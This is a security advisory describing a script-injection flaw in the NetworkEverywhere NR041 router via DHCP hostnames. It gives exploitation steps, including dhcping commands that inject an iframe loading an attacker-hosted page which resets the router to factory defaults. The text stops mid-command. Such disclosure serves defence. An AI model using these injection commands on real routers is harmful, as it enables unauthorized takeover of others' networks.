NetworkEverywhere router Model NR041 (latest firmware rev 1.2 Release 03) suffers a "script injection over dhcp" vulnerability. The NR041 does not filter DHCP HOSTNAME options coming from its clients. Because of that, we can inject a web script into the web based administrative interface and wait until the administrator consults the DHCP interface after what the injected script is executed within the open session and therefore with full access on the router. This exploit allows a malicious user to reset the box's factory setting, restoring the default password, in this case: Administrator: none Password: admin. NR041's dhcp daemon is reachable from the inside and offers no wireless access therefore this flaw is not easy to exploit but still, a successful exploitation will have critical impact. EXPLOITATION: (using DHCPing available at http://c3rb3r.openwall.net/dhcping/): As mentioned above, NR041 is configurable via a web based administrative interface using several cgis and invoked with the HTTP POST method. It's not easy to write a useful script in 15 characters when you can't break the string wherever you wish, the same 'id="' trick used for exploitation of the DLINK 614+ will be valuable here. STEP1: Because we don't have enough room to exploit the router in one shot, we will inject an iframe into the router to force the administrator to remotely call "a.htm" on the malicious web site. "a.htm" contains a form which auto-submit itself when loaded. First of all, place the following code on the web server and choose a one-character name to save place. This code is installed on the remote malicious site and contains the actual attack (a call to passwd.cgi with factorydefaults enabled). Note that we have hard-coded the router ip (192.168.1.1) in this script (we can dynamically get it from the HTTP referer header) so change it accordingly to your configuration. STEP2: Inject our script into the router using DHCPing : dhcping -optleasetime 3600 -opttype discover -optreqip 192.168.1.121 -opthostname "/../a.htm' > " -m af:af:af:af:af:af dhcping -optleasetime 3600 -opttype discover -optreqip 192.168.1.122 -opthostname "'src='//url.ca/" -m af:af:af:af:af:ae dhcping -optleasetime 3600 -opttype discover -optreqip 192.168.1.123 -opthostname "